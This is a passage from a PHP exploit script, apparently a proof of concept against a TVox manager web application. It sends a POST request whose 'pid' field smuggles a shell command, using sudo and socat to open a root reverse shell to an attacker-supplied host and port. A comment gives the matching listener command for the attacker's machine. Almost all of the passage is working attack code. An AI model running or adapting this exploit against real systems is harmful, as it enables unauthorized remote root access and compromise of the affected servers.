\n\n"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$argv[1]}tvox/manager/html/action_audio.php/login_admin.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // On attacker machine: socat file:`tty`,raw,echo=0 tcp-listen:4444 print "[+] Executing reverse shell\n"; $injection = "\$(sudo nice socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{$argv[2]}:{$argv[3]})"; curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["action" => "checkProcess", "pid" => $injection])); curl_exec($ch); print "[+] Done!\n\n";